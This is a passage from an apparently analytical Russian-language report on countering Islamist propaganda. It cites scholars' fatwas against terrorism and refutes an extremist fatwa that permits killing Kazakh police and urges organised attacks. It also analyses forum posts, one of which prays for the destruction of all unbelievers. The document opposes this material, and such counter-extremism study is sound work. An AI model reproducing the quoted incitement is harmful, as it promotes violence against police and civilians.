Исламу и не сообразуются с его шариатскими основами, что подтверждается ниже перечисленными указаниями: 1. Аллах Всевышний велел не отступать от справедливости, ибо на справедливости держатся небеса и земля, и к справедливости призывали людей направлявшиеся к ним посланники и ниспосылавшиеся свыше Писания. Аллах Всевышний сказал: «Поистине, Аллах велит (придерживаться) справедливости, совершать благие дела и оделять родственников и запрещает (все) непристойное, порицаемое и греховное.

Он увещевает вас, чтобы вы опомнились» (Пчелы 16: 90). Аллах Всевышний также сказал: «Мы уже направляли Наших посланников с Явными доказательствами и ниспосылали с ними Писание и весы, чтобы люди придерживались справедливости» (Железо 57: 25). И Аллах, справедливость Которого совершенна, судил, что ни на кого не следует возлагать бремени чужого греха: « и никто не понесет бремени (грехов) другого» (Скот 6: 66).

2. Аллах, слава Ему, запретил несправедливость Самому Себе и объявил ее запретной в отношениях между Его рабами, о чем, как сообщается в одном из священных хадисов, Аллах сказал: «О рабы Мои, поистине, Я запретил несправедливость Себе и сделал ее запретной меж вами, так не притесняйте же друг друга!» Муслим. Это касается всех Его рабов независимо от того, мусульманами они являются или нет, следовательно,

никому из них не разрешается поступать несправедливо по отношению к другому и никто не должен допускать это даже под влиянием враждебности и ненависти. Всевышний Аллах сказал: «О те, которые уверовали! Будьте стойки ради Аллаха, свидетельствуя беспристрастно, и пусть ненависть к людям не подтолкнет вас к несправедливости» (аль-Маида 5: 8). Таким образом, чувства враждебности и ненависти не могут служить законным основанием

дня насилия и несправедливости. С учетом вышеизложенного все страны и народы независимо от того, исповедуют они Ислам или нет, должны знать следующее: 1. Случившееся в США, равно как и прочие действия такого рода наподобие похищения самолетов, устрашения мирных жителей или убийства невинных людей, есть один из видов несправедливости и притеснения. Подобные действия шариат не просто не одобряет, но запрещает и относит к числу тягчайших грехов.

2. Мусульманин, знакомый с установлениями своей религии и наделе придерживающийся указаний Корана и Сунны своего пророка (да благословит его Аллах и приветствует), избегает участия в подобных действиях, поскольку они навлекают на человека гнев Аллаха и приносят вред. 3. Ученые мусульманской общины обязаны показывать истинную суть подобных событий, разъясняя всему миру позицию шариата и то, что исламская религия совершенно не одобряет такие действия.

4. Тем, кто стоит за средствами массовой информации, выдвигая обвинения против мусульман, пороча эту истинную религию и приписывая ей то, к чему она не имеет отношения, с целью распространения смуты, дискредитации Ислама и мусульман и разжигания враждебных чувств в сердцах людей, следует образумиться и понять, что недопустимо говорить так о любом справедливом и разумном человеке, знакомом с установлениями своей религии, как нельзя и выдвигать против него подобные обвинения, поскольку на протяжении веков народы, исповедовавшие

Ислам, всегда уважали права людей и воздерживались от проявлений несправедливости и насилия. Все сказанное разъясняет истину и устраняет неясности. Молю Аллаха, чтобы Он даровал нам благоразумие, вел нас путями мира, укрепил Свою религию и возвысил Свое слово, и да благословит Аллах и да приветствует нашего пророка Мухаммада, его семейство и всех его сподвижников». ***

Вопрос шейху Салиху аль-Фаузану: «Являются ли такие действия, как убийства и взрывы правительственных учреждений в немусульманских странах, необходимыми и можно ли назвать это джихадом?» Ответ: «Убийства и взрывы недопустимы, поскольку они только навлекают на мусульман бедствия и приводят к их убийствам и преследованиям. Что же касается джихада на пути Аллаха, то речь может идти только об открытом сражении и только при определенных условиях.

В этом необходимо следовать примеру пророка (да благословит его Аллах и приветствует), которому до переселения в Медину, когда он находился среди неверных в Мекке, было ниспослано следующее откровение: «Разве не видел ты тех, ному было сказано: “Воздержитесь (от войны), совершайте молитву и выплачивайте закят» (Женщины 4: 77). Таким образом, ему было велено отказаться от сражения с неверными, ведь если бы хоть один из них был

бы убит, неверные могли погубить всех мусульман. Ясно, что убийства, совершаемые в тех странах, где живут мусульмане, приведут к убийствам самих мусульман, что, как вам известно, и происходит ныне. Это не имеет никакого отношения к исламскому призыву и не является джихадом на пути Аллаха. То же самое можно сказать и о взрывах, ввергающих мусульман в пучину бедствий». См. “Фатауа аль-аимма фи ан-науазиль аль-мудальхима” 41. ***

Вопрос: «Уважаемый шейх, мы – группа полицейских, и мы хотели бы задать вам вопрос: Нам было поручено в этой стране (Саудовской Аравии) разыскивать тех, кто желает разрушить безопасность или выступить против правителя мусульман. Однако мы слышали фатауа, в которых говорится о недозволенности разыскивать этих людей, преследовать их и сражаться с ними, поскольку они – муджахиды, и потому что они хотят выгнать неверных, которые воюют с мусульманами в других странах, как например

Ирак. Так какое же мнение является правильным относительно этого?» Ответ шейха аль-Фаузана: «Да поможет вам Аллах! Вы на джихаде! Вы со своей работой находитесь на джихаде, поскольку выполняя свою работу, вы препятствуйте приверженцам лжи! Обеспечивая мир, охраняя жизни людей, их честь и имущество, вы совершаете джихад! Да поможет вам Аллах! И вам будет записана награда муджахидов, и вы получите награду за повиновение

правителю мусульман. Ваша работа – весьма почетная, поэтому не сомневайтесь относительно этого. Что же касается тех, кто выпускает фатауа о том, что эти теракты – джихад, то кто они такие Кто дает такое фатуа Это заслуживающие доверия, надежные люди, или же их сторонники и неизвестные люди Они – не ученые! Разве хоть один из известных ученых давал фатуа о том, что это джихад Никогда! Это – ложь! Это не является джихадом! Это ослушание

Аллаха и Его посланника (да благословит его Аллах и приветствует), вражда по отношению к мусульманам и выход против правителя мусульман! Все эти вещи – большие грехи, да защитит нас Аллах от этого! Поэтому, это не джихад. Да, это сражение, однако сражение на пути шайтана, поскольку в этом вероломство по отношению к мусульманам! А что касается изгнания неверных – это не ваша задача. Задачей изгнания неверных должен заниматься правитель мусульман.

Он – тот, кто дает им гарантию безопасности (аман), позволяя им вступить в страну для определенной пользы и потребности. И он решает срок их пребывания. Пророк (да благословит его Аллах и приветствует) говорил: «Выгоняйте иудеев из Аравийского полуострова». Однако это обращение к правителям мусульман. И именно по этой причине никто не изгнал иудеев, кроме ‘Умара ибн аль-

Хаттаба, да будет доволен им Аллах. Неверных не изгоняют простые люди. Их изгнание и их вхождение в страну решает только правитель мусульман, это из его компетенции! И они (неверные) не прибывают в страну, кроме как в интересах этой страны и с действительными визами. Они прибывают в страну по приглашению, чтобы выполнить определенную работу, будь-то служба в посольствах, фирмах, и т.д. Они прибывают для пользы мусульман.

Им предоставляется гарантия безопасности и договор, а пророк (да благословит его Аллах и приветствует) сказал: «Кто убьет неверного, с которым заключен договор, не почувствует аромата Рая!» Этот хадис приводит аль-Бухари, и в нем также сказано: «А аромат Рая ощущается на расстоянии 70 лет». В этом хадисе очень серьезная угроза! А что касается того, кто дает фатауа, что это все джихад, тот не ученый (‘алим)!

Либо это вводящий в заблуждение ученый, если у него есть знание, либо это полный невежда (джахиль), который не знает, что такое джихад!» Сл. “Тахзир мин гъулую фи-ддин”. На нескольких страницах ресурса можно найти очень много контраргументов на высказывания исламистов на форумах и сайтах. Необходимо отметить, что в государственных структурах, в том числе и администраций Кавказских республик, работают и будет работать не очень большие знатоки религии,

Ислама, Православия и других религий. Однако, необходимость иметь аргументы в споре с исламистами очень велика. В связи с этим, уже давно назрела необходимость разработки тематических пособий, которые бы содержали ответы на наиболее дискуссионные темы, такие как: шахиды, джихад, взрывы домов, убийство мирных граждан, убийство священников и т.д. Чтобы убедить человека, иногда достаточно одной фразы, а иногда не хватит и сотни высказываний ученых. Это не должно сводится к брошюре из 10-15 страниц, одной на все

случаи жизни. Нет абсолютно никакого смысла заполнять Интернет одними и теми же цитатами. Но не все Фатауа подобного содержания есть с абсолютно другим содержанием, их не надо скрывать, на них надо давать грамотные ответы, дать которые могут только высокообразованные, знающие ислам, специалисты. Пример подобного ответа выглядит следующим образом : Ответ на фатуа с сайта «хунафа» Опубликовано: 16.09.10 в

Джихад, Такфир С именем Аллаха Милостивого, Милосердного Хвала Аллаху, которого мы восхваляем и к которому мы взываем о помощи и прощении. Мы ищем защиты у Аллаха от зла наших душ и дурных дел. Всевышний Аллах сказал: «О те, которые уверовали! Будьте стойки ради Аллаха, свидетельствуя беспристрастно, и пусть ненависть людей не подтолкнет вас

к несправедливости. Будьте справедливы, ибо это ближе к богобоязненности. Бойтесь Аллаха, ведь Аллах ведает о том, что вы совершаете» (Аль-Маида, 8). Мы хотим обратиться к мусульманам Казахстана в связи с недавно появившейся так сказать «фетвой» на сайте «хунафа» под названием «Фатва о джихаде против казахстанской полиции». Вот её содержание: С именем Аллаха Всемилостивого и

Милосердного Мы молодые люди из Казахстана, в нашей стране полицейские которые притесняют нас, сажают в тюрьмы некоторых из нас. Мы хотим получить ясный ответ на следующий вопрос: Можно ли нам начать убивать некоторых полицейских, которые отличаются сильным неверием и враждебностью к Исламу и мусульман, зная, что единогласное мнение ученых говорит об обязательности призыва неверных прежде сражения с ними? И будут ли называться наши действия джихадом на пути

Аллаха? Да воздаст Аллах вам благом и да приумножит ваше знание. Отвечает Шейх Абу Мунзир Аш-Шинкити, состоящий в комитете фатв сайта Минбару-ль-Таухид уа-ль-Джихад: Уважаемый брат, то, что ты упомянул о единогласном мнении ученых об обязательности призыва прежде сражения, относится к наступательному джихаду. А что касается оборонительного джихада, то в нем не является условием предварительный призыв.

Наоборот, является обязательным начинать джихад немедля в соответствии с возможностями. Ты также сообщаешь, что полицейские притесняют вас, сажают в тюрьму, и сражение с ними в данном случае является формой оборонительного джихада, а не наступательного. И ваше отпор происходящей несправедливости, гнету будет считаться Джихадом на пути Аллаха и тот, кто умрет на этом пути, тот будет шахидом, если пожелает

Аллах. На это указывает хадис от Саида бин Зайда, что Пророк, да благословит его Аллах и приветствует, сказал: «Тот кто был убит защищая свое имущество, тот шахид; тот кто был убит защищая свою жизнь, тот шахид; тот кто был убит защищая свою религию, тот шахид; тот кто был убит защищая свою семью тот шахид». (Абу Дауд, Тирмизи, Насаи, Ибн Маджа, Тирмизи назвал хорошим достоверным).

Однако не следует также чтобы ваш джихад против преступивших, представлял из себя реакцию одного (т.е. индивидуума) от которой не будет эффекта и изменения. Поистине, ваши действия должны быть коллективными и организованными, вы должны определить объекты, цели, средства и этапы, чтобы благодеяния вашего джихада принесли пользу для людей и для страны, и чтобы у него был положительный эффект. В любом случае, даже до того, как будут получены эти результаты, месть

чинящими несправедливость остается узаконенной Шариатом для каждого угнетенного, по словам Всевышнего: Нет укора тем кто мстит, после того как причинили им несправедливость (Шура, 41). К этой фетве, включая сам вопрос и ответ, у нас есть некоторые замечания. Задающий вопрос пишет: «Мы молодые люди из Казахстана, в нашей стране полицейские которые притесняют нас, сажают в тюрьмы некоторых из нас» Мы, хвала Всевышнему, тоже мусульмане из

Казахстана, которые знаем обстановку тут не хуже задающего вопрос. Из его вопроса создается впечатление, что полицейские в Казахстане притесняют и сажают в тюрьмы каждого мусульманина, только лишь за то, что он мусульманин. Это ложь, и об этом знают даже те, кто настроен радикально и побывал в Афганистане или в Вазиристане. Каким образом милиция в

Казахстане притесняет лишь за Ислам молодых мусульман, если даже тех, кто уехал на джихад в упомянутые страны они по их возвращению не притесняли Более того, сколько было случаев, когда они обращались к тем, кто уехал в Вазиристан, чтобы они вернулись в течение определенного срока, а иначе их лишат гражданства? И после их приезда с ними просто говорили, максимум – некоторые время держали под домашним арестом, но ни в коем случае не били или пытали. И сколько мусульман с

Кавказа или Узбекистана говорили: «О, если бы и у нас наша милиция относилась к нам таким же образом!» Однако автор вопроса выставляет всё в искаженном свете, как прекрасно сказал шейх Ибн ‘Усаймин: “Описание положения (фикх аль-уаки’) в действительности – это следование страстям! И каждый человек описывает ситуацию по-своему”. См. “Шарх Хилья талиб аль-‘ильм” 41. Более того, откуда нам знать, что это вообще не выдуманная фетва для разжигания

смуты в Казахстане ради каких-то жалких политических интриг, которые прикрываются такими великими терминами, как «джихад», «таухид» и т.п И потом, даже если допустить, что задающий вопрос действительно проживает в Казахстане, и наша милиция действительно притесняет молодых мусульман, то почему они задают такой важный вопрос на сайте Абу Мухаммада аль-Макдиси, человека, который известен тем, что объявил Саудовскую Аравию страной неверия около 15 лет назад

Ведь тот, для кого Саудовская Аравия является страной неверия, Казахстан и другая любая страна никогда не будет страной ислама и мусульман. Почему же задающий вопрос не обратился со своим письмом к признанных ученым ахль ас-Сунна, как шейх Салих аль-Фаузан или шейх Абдуль-Мухсин аль-Аббад, которые действительно являются выдающимися учеными и немногими из тех, кто остался в живых из

числа больших ученых, да сохранит их Аллах Может задающий вопрос знал, каким будет ответ этих ученых, и ему не выгодно было задавать свой вопрос им Или же может быть, он не считает этих ученых – учеными Но чем Абу Мухаммад аль-Макдиси, от которого ещё давно и поныне предостерегают известные ученые ахль ас-Сунна, лучше них Знает ли задававший ему на сайт вопрос о словах аль-Макдиси, обращенные к шейху Абдуль-Азизу ибн Базу и

Ибн ‘Усаймина: «О заблудшие ученые! Аллах вопреки вам уже спустил с ваших лиц маски лжи и вывел наружу всю вашу грязь из ваших дел!» Когда аль-Макдиси написал книгу “Кауашифуль-джалия фи такфир ад-дауля ас-су’удия”, в которой он называл Саудовскую Аравию страной неверных, шейх Абдуль-Азиз ар-Райс ибн ар-Райс написал ему опровержение под названием “Табдид кауашиф аль-‘анид”. И шейх Салих аль-Фаузан, написавший рецензию к его опровержению сказал в начале его книги: “Это опровержение

шейха Абдуль-Азиза ибн ар-Райс ар-Райса, я нашел его прекрасным, и по милости Аллаха затыкающим этого ненавистника (аль-Макдиси), и опровергающим его козни!” Также шейх ‘Абдуллах аль-‘Убайлян в рецензии на это же опровержение писал: “Я прочитал книгу нашего уважаемого брата – шейха Абдуль-Азиза ибн ар-Райса ар-Райса под названием: “Табдид кауашиф аль-‘анид фи такфирихи ли дауля ат-таухид”.

Поистине, он разъяснил все сомнения этого приписывающего себя к знанию (аль-Макдиси), был правдив в своей защите Саудовской Аравии, в предоставлении шариатских доводов и разбивании хариджитских идей!” Спросили шейха-мухаддиса Йемена Мукбиля ибн Хади: «О шейх, есть вопрос, да благословит вас Аллах, и мы желаем знать ваше мнение. Есть некий человек по имени

Абу Мухаммад аль-Макдиси, и мы хотим знать ваше мнение о нем. Является ли он из обладающих знанием?» Шейх Мукбиль ответил: “Этот человек пишет различные статьи, и в его книгах много ошибок. Однажды он прислал нам некие книги, кажется, это была «И’дад аль-фауарис битарк аль-мадарис». Но эта была не книга «Кауашиф аль-джалия» (про обвинение Саудовской Аравии в неверии), ибо еще не было известно, что эта книга принадлежит ему.

Когда мне ее дали, чтобы я ее посмотрел, у меня не было времени, и я дал ее брату – сильному критику ‘Абдуль-‘Азизу аль-Бар’и. Он выявил его ошибки ради Аллаха Всевышнего. Когда это отправили аль-Макъдиси, он желал сделать опровержение аль-Бар’и, и я сказал ему: «Этот человек (аль-Макъдиси) – упрямый джахиль, оставь его, и не пристало нам отвлекаться на него». Однако люди, которые на эмоциях, полагают, что этот человек из числа обладающих

знанием. И большинство из тех, о ком они думают, что они из обладающих знанием, в действительности не являются такими. И этот человек (аль-Макдиси) – не из обладающих знанием!” Сл. кассета “Мушахидати фи аль-мамляка аль-‘арабия ас-су’удия”. Шейх ‘Али ат-Тувайджари (доктор по тафсиру и ученик шейха Ибн База и Ибн Усаймина) говорил: “Я наставляю всем бояться

Аллаха и обучаться, и остерегаться этого аль-Макдиси, поистине, он – известный Хариджит и из сторонников заблудших идей! Необходимо крайне остерегаться его и не следовать за ним, не слушать его, и также не читать его книги!” http://rapidshare.com/files/418991577/Sh eih_Ali_Tuvaydjiri Makdisi.mp3.html Также и шейх – доктор Абдуллах аль-Бухари говорил: “Этот человек, я имею в виду аль-Баркави (Абу

Мухаммад аль-Макдиси), я прошу Аллаха повести его прямым путём или сломать ему спину, и уберечь умму от его зла и явного невежества! Клянусь Аллахом, он ни Ислам не возвеличил, ни неверных не разгромил! Знает он или нет, но его невежественнейшие фетвы оказали помощь неверным, чувствует он это или нет! Да! Поскольку он своими невежественными фетвами и нечестивыми статьями дал повод неверным сеять нечестие в некоторых городах мусульман!

Подобные нечестивые фетвы стали причиной покорения городов. Он открыл дверь из дверей гибели, он и те, кто подобен ему, кто даёт подобные фетвы, переполненные несправедливостью, грехом, невежеством, ошибками и отдалением от Сунны! Нет у них в подобном никаких предшественников, кроме хариджитов. И не будет в подобном у них предшественников их ахль ас-сунна никогда, ни из числа сподвижников, ни

таби’инов, ни наилучших ученых!” http://rapidshare.com/files/399434073/Ab dullah_Buhari Makdisi.mp3.html Разве эти слова ученых и известных шейхов об этом человеке не должны заставить призадуматься или удержать от того, чтобы следовать за таким человеком Что задающему вопрос именно на его сайт известно о нём, кроме того, что он называл ещё 15 лет назад Саудовскую Аравию страной неверия и порочил ученых

Известно ли ему, у кого он учился, кто из ученых хвалил его и сказал, что к нему можно обращаться за фетвой по таким важным вопросах, как кровопролитие, джихад и т.п Но самое удивительное заключается в том, что на вопрос заданный тем, кто якобы из Казахстана, отвечает не сам аль-Макдиси, а некий Абу Мунзир аш-Шинкити, разрешающий убийство работников правоохранительных органов

Казахстана. А кто такой этот Абу Мунзир, хотелось бы знать Что знают о нём задавший вопрос и те, кто распространяют везде эту фетву Более того, известно ли задававшему вопрос и распространителям этой фетвы то, что давший ответ Абу Мунзир пошёл в противоречие тому, что говорит его же шейх аль-Макдиси по подобным вопросам Говорит Абу Мухаммад аль-

Макдиси в своём интервью, которое он даёт журналистам канала аль-Джазира в 2005 году: «…То давление, которое оказывают режимы на молодежь, не должно их отворачивать от программы, плана. У меня есть план, и мой план это не взорвать винную лавку или взорвать кинотеатр, мой план это не убийство офицера, который издевался надо мной, мой план, – вернуть Умме ее славу, и построение Исламского государства, в котором найдет приют каждый мусульманин.

Это большой и великий план, он не нуждается в маленьких актах возмездия, он нуждается в воспитании нового поколения, нуждается в долгой подготовке, нуждается в участии Уммы с ее Учеными и ее сыновьями. И так как я не имею возможности осуществить свой план, я не могу втягивать своих братьев на одном из этапов, опережая свои возможности, для совершения маленьких дел, чего в принципе и ждут враги нашей Уммы, чтоб бросить наших братьев в тюрьмы.

Сколько наших братьев убиты и посажены в тюрьмах, а ведь они являлись запасом этого движения…» http://www.youtube.com/watch?v=WDe8TtnCX 00 Ведь из его слов становится ясно, что убийство полицейского, который его мучил – это не цель и не план; что, не имея возможности, он не может втягивать своих братьев в различные маленькие операции; что необходимо беречь мусульман и не давать повода врагам Ислама бросать их в тюрьмы и подвергать унижению и пыткам.

Так почему же Абу Мунзир выносит фетву, которая противоречит учению его шейха Почему он не учитывает тот факт, что кучка мусульман не в состоянии исправить положение, и что если они начнут убивать полицейских, даже если они действительно издевались над некоторыми из них, что они этого просто так не оставят Ведь любой здравомыслящий человек понимает, что такие методы обернутся бедой для всех мусульман, а не только для «мстителей»! И вновь произойдёт то, о чём говорят ученые про акции

подобного рода: «Ни Ислам не возвеличили, ни неверных не истребили!» Нет сомнения в том, что джихад в исламе занимает великое место, но также нет никакого сомнения, что джихад имеет свои условия, важнейшими из которых являются: 1) наличие силы для сражения; 2) чтобы сражение несло пользу, а не вред! А что касается тех, кто убивает, грабит и совершает подобного рода преступления, а в случае, когда

его правоохранительные органы за это сажают или убивают и т.п называть это «притеснением мусульман из-за Ислама», то это ложь и именование вещей не своими именами! Таких ситуаций сколько угодно было и есть. Вчера кто-то был убийцей и грабителем, а когда спецслужбы подошли к нему близко и решили его взять, он покидает свой город и убегает туда, где его вряд ли будут искать, скажем, в тот же Афганистан. И после этого к удивлению подобные люди начинают писать повсюду,

что джихад стал обязательным для всех, что хиджра стала обязательной для всех. Воистину, это следование страсти и игра с Шариатом Всевышнего! Что касается нашей молодёжи, и вообще мусульман всего мира, то они должны избегать поспешных выводов и тем более действий, ведь джихад – это не игра, и не забава, а серьёзный путь, который может стать либо Райской наградой, либо Адским наказанием.

Сообщается, что как-то Хузайфа спросил Абу Мусу аль-Аш’ари: «Что ты скажешь о человеке, который вышел со своим мечем, стремясь к Лику Аллаха, если он будет убит, он войдет в Рай » Абу Муса ответил: “Да!” Хузайфа сказал: “Поистине, если он сражался, поступая с истиной, и был убит, тогда он в Раю. А если он не поступал в соответствии с правильным и велением

Аллаха, тогда он в Аду!” После чего Хузайфа сказал: “Клянусь Аллахом, такой человек войдет в Ад!” На что Абу Муса сказал: “Ты прав!” ‘Абдур-Раззакъ 5/267, Са’ид ибн Мансур 2546, Ибн Уадах 1/81. Эти слова сподвижников указывают на то, что одной лишь искренности не достаточно для того, чтобы делать джихад, ибо необходимо также учитывать и правильность этого джихада, чтобы он велся так, как его узаконил

Шариат. А если кто-то считает, что всю ответственность на себя взял некий Абу Мунзир аш-Шанкити, вынесший фетву о дозволенности убийства некоторых сотрудников спецслужб Казахстана, то мы скажем ему, что он заблуждается! Конечно, тот, кто вынес фетву, не будучи из числа тех, кто имеет право по шариату решать такие важные вопросы, понесёт ответственность перед Аллахом и будет за это спрошен.

Однако что касается того, кто взял эту фетву и стал опираться на неё, то с него ответственность будет снята лишь в том случае, когда он будет опираться на фетву того, кто действительно имел право ее выносить. В таком случае на опирающемся на фетву ученого не будет ответственности, даже если она была ошибочной, так как весь груз будет на вынесшем фетву. Что же касается того, кто опирался на фетву не ученых, а людей, которые не известны ни знанием, ни праведностью, которые взялись решать вопросы, решать которые

Аллах повелел только ученым и правителям мусульман, то он также понесет ответственность, как и тот, кто вынес фетву. Всевышний Аллах сказал: «Пусть они (неверные) понесут свою ношу целиком в Последний день, а также ношу тех невежд, которых они ввели в заблуждение. Как же отвратительна их ноша!» (Ан-Нахль-25). Имам Муджахид в толковании этого аята сказал: “Неверные понесут бремя своих грехов и грехов тех, кто подчинялся

им. Но то, что они понесут на себе грехи тех, кто последовал за ними, никак не облегчит наказание тех, кто им подчинялся”. ат-Табари 14/200, ас-Суюты 9/41. Абу ад-Дарда рассказывал, что посланник Аллаха, да благословит его Аллах и приветствует, сказал: «Когда все люди в Судный День будут идти по определенному пути, и пройдет мимо человека тот, кто его убил, он воскликнет: “О

Господь! Он убил меня (в земной жизни)”. Аллах спросит его: “За что ты убил его?” Он скажет: “Мне повелел такой-то”, и подвергнут наказанию убийцу и того, кто повелел!» Ибн Абу Шайба 5/434, ат-Табарани 10407. См. “Маджма’ аз-зауаид” 7/300. В этом хадисе ясное указание на то, что исполнителя не спасло от наказания простое выполнение приказа. Мы обращаемся к мусульманам, чтобы они оставляли решение подобных вопросов для тех, кого уполномочил

Аллах решать подобные вопросы, сказав: «Когда до них (мусульман) доходит весть о безопасности или опасности, они разглашают это. Если бы они обратились с этим к посланнику и обладающим влиянием среди них, то об этом от них узнали бы те, которые могут исследовать это». (Ан-ниса-83). В данном аяте под «обладающими влиянием» речь идёт о правителях мусульман и ученых, как это передаётся от саляфов. См. “Тафсир Ибн Абу Хатим” 5688, “Тафсир ад-

Дурруль-мансур” 4/82, “Тафсир Ибн ‘Атыйя” 2/85. Наверное, никто не будет сомневаться в том, что такой вопрос, как убийство полицейских, которые к тому же считают себя мусульманами, имеет прямое отношение к этому аяту, как наверняка не будет сомневаться и в том, что некий Абу Мунзир не ученый, и тем более не правитель мусульман. Со слов Хузайфы сообщается, что посланник Аллаха, да благословит его

Аллах и приветствует, однажды сказал: «Не следует верующему унижать себя!» Его спросили: “А как же он может унизить себя ” Он ответил: «Взваливать на себя такие трудности, которые он не вынесет!» ат-Тирмизи 2254, Ибн Маджах 4016. См. “ас-Сильсиля ас-Сахиха” 613. Администрация сайта «Анти-террор» Данный ответ имеет как смысловую, так и визуальную составляющую, что немаловажно.

Но, несмотря на все положительные моменты, в целом, по информационному наполнению, сайт проигрывает тому же UmmaNews.com. Важной составляющей данного проекта является Саляф Форум http://salaf-forum.ru/ Рассмотрим тред данного форума под названием «На Кавказе Джихад » (таблица 10). Весь тред представлен в Приложении 3. Таблица 10. Фрагмент треда «На Кавказе

Джихад » "На Кавказе Джихад " guraba_x » Вт 10 ноя 2009, 11:22 Ассаламу Алекум! Вот уже прошёл почти год без нескольких дней, как все пользователи форума дружно составили письмо с вопросами к ученным о положении Кавказа. Эта тема продолжение ныне закрытой "Где сейчас джихад?". в которой админ отвечая на очередной вопрос "Есть продвижения по письму?" оставляет нам надежду говоря: "

Не знаю точно, но слышал от братьев, что Саудовские студенты пытаются через шейхов вопрос к Ляджне занести на серьезном уровне, в котором все будет подробно расписано и с требованием доводов и как поступать по данному вопросу." … О Аллах, наставь всех мусульман на истинный путь и освободи от униженийи! Даруй нам через справедливых, богобоязненных, любящих ради Аллаха умму Посланника(с.а.с.) фетву от ученных! О

Аллах, я приношу публичное покаяние Тебе, если я в чем то ошибся и принёс личную обиду кому либо. Ассаламу Алейкум! Админ, ради Аллаха я прошу тебя не удалять эту тему Джалиль Абу Рамазан » Вт 10 ноя 2009, 14:02 уа алейкум салам брат!( Пусть Аллах воздаст тебе благом за твое напоминание. И пусть более шайтан не заставит нас забыть о наших братьях

НИКОГДА! Я сделаю все возможное от себя, чтобы по этому вопросу были хоть какие-то продвижения! О Аллах унизь неверных посягнувших на кровь, честь и земли мусульман! О Аллах не оставь на земле ни одного кафира, ибо если Ты оставишь их, то они введут в заблуждение Твоих рабов и не породят никого кроме таких же неверных и распутников! О Аллах даруй верное руководство, победу и безопасность нашим братьям с

Кавказа и всем мусульманам! Амин! *** Ruslan Abu Ibrahim » Вт 17 ноя 2009, 08:17 Ас-саляму алейкум уа рахматуллах. Хотел бы привести здесь фатуа шейха Абдуррахмана аль-Баррака, по поводу недозволенности делать дуа о погибели всех невреных вместе без исключения. … Поэтому необходимо разделять между понятием общего уничтожения неверных и между проклятием на них.

Просим Аллаха, чтобы Он по милости Своей открыл нам врата узаконенного сражения с неверующими, и чтобы Он не лишал нас возможности получить награду за это великое поклонение. И чтобы наставил правителей мусульман на всякое добро, исправив их дела и дела тех, над кем они правят. Джалиль Абу Рамазан » Вт 17 ноя 2009, 21:25 ДжазакаЛлаху хайран ахи за исправление! Джалиль Абу Рамазан DAUD AL-HANBALI » Чт 19 ноя 2009, 17:45

A ESLI UCHENNIE SKAJUT CHTO TAM JIHAD,VI BUDETE DELAT TAM JIHAD? ILI POMOGAT CHEM SMOJETE? DAUD AL-HANBALI samir05 » Вс 24 янв 2010, 13:25 Салам алейкум. Я не понимаю братьев которые ждут ответа на письмо думая что если ответ будет отрицательным, то есть "джихада нет" то те братья что в лесу сложат оружие и оставят это дело. Уверен что если вся ляджна приедет в Дагестан и в громкоговорители начнет кричать что тут

нет джихада то это никоим образом не повлияет на обстановку. … И мне очень обидно за наших братьев Рината, Абу яхью, Салима абу Умара, Наиля которые призывает к единобожию, потому что понимают что именно это сейчас нужно на постсоветском пространстве уж тем более в моем Дагестане а их тут втоптали в гряз высмеяли и высмеивают , отстраняя ту маленькую часть интересующихся исламом братьев тут от них.

И заменив их неучами , выскочками которые хотят знаменитости, или проповедниками которых страсти съели. Mugahid » Ср 10 фев 2010, 13:12 الس&#1 604;ام علي&#1 603;م Мы спросили шейха Ясира Бурхами (кто не знает, это Египетский ученый, близкий друг и ученик Усеймина и др. ученых), о положении

Кавказа и джихада на нем. Рассказав все положение, о тех преступлениях правохоронительных органов, как русских так и местных. Вот его ответ: "О Аллах! Даруй победу мусульманам Кавказа! Непременно на Кавказе джихад оборонительный, и обязателен для каждого"! И хвала Аллаху, делает дуа на проповедях. С дозволения Аллаха, мы собираемся обратиться с подобными вопросами и к остальным ученым

Египта, таким как Исмаид Мукъаддам, Абу Исхакъ Аль-Хууайни и др. Mugahid Hamza » Ср 10 фев 2010, 17:25 Уа ассалям алейкум. Mugahid писал(а): Мы спросили шейха Ясира Бурхами Рассказав все положение, о тех преступлениях правохоронительных органов Каких преступлениях? Что менты заходят в дома и убивают мусульман и насилуют их женщин

А как вы спросили, где можно прочитать ваш вопрос и как он был задан брат? Просто я не раз слышал как заинтересованные братья ситуацию преподносят по своему, и самое главное что ситуация на Кавказе не везде одинаковая. …. abu zeinab » Ср 10 фев 2010, 18:32 Ас-саляму'алейкум уа рахматуЛлахи уа баракатуху. Я поддержу брата Хамзу ! Такое заявление делать без ссылок и фатва уляма нельзя

А кто сказал, что Ясир Бурхами, Мукаддам, абу Исхак уляма Если есть такие слова учёных ахли-Сунна, то давай брат ссылки ! Mugahid » Ср 10 фев 2010, 20:55 Хорошо, то что вы не за джихад, не только на Кавказе, но и вообще, это понятно! Ваши проблемы! … ruslan67 » Пн 09 авг 2010, 17:10 Ассаламу алейкум вот братья сделали с этими словами видео ролик.

Просим Аллаха чтобы наши усердия приносили только пользу Исламу и мусульманам. Вопрос шейху Ибн Джибрину насчет джихада: http://www.youtube.com/watch?v=OE7haetUq vo ruslan67 Сообщений: 12 Зарегистрирован: Пн 04 янв 2010, 12:48 Вернуться наверх Re: "На Кавказе Джихад " *** » Пн 09 авг 2010, 20:50 Ассаляму алейкум уа рахматуЛлахи уа баракятух!

Пусть Аллах воздаст благом в обоих мирах всем за эту фатву! На наш взгляд, это настолько уникальный и важный тред, что пройти мимо него нельзя. Начнем с того, что задать данный вопрос мог лишь человек, который сомневается. В зависимости от того, чья позиция победит, зависит, примкнет он к исламистам или нет. Практически сразу на его вопрос откликаются: «О Аллах не оставь на земле ни одного кафира…».

Словам этого человека мотивированно оппонируют и он приносит извинения. Не остается вопрос и без внимания иностранной стороны: «A ESLI UCHENNIE SKAJUT CHTO TAM JIHAD, VI BUDETE DELAT TAM JIHAD? ILI POMOGAT CHEM SMOJETE?». Поскольку латиницей русские слова обычно пишут с компьютеров, не имеющих русскую раскладку. Следовательно, форум отслеживается не только на территории

СНГ. Хочется отметить одно из высказываний: «Я не понимаю братьев которые ждут ответа на письмо думая что если ответ будет отрицательным, то есть "джихада нет" то те братья что в лесу сложат оружие и оставят это дело. Уверен что если вся ляджна приедет в Дагестан и в громкоговорители начнет кричать что тут нет джихада то это никоим образом не повлияет на обстановку…» Поскольку является действительно распространенным мнением, имеющим под собой основание.

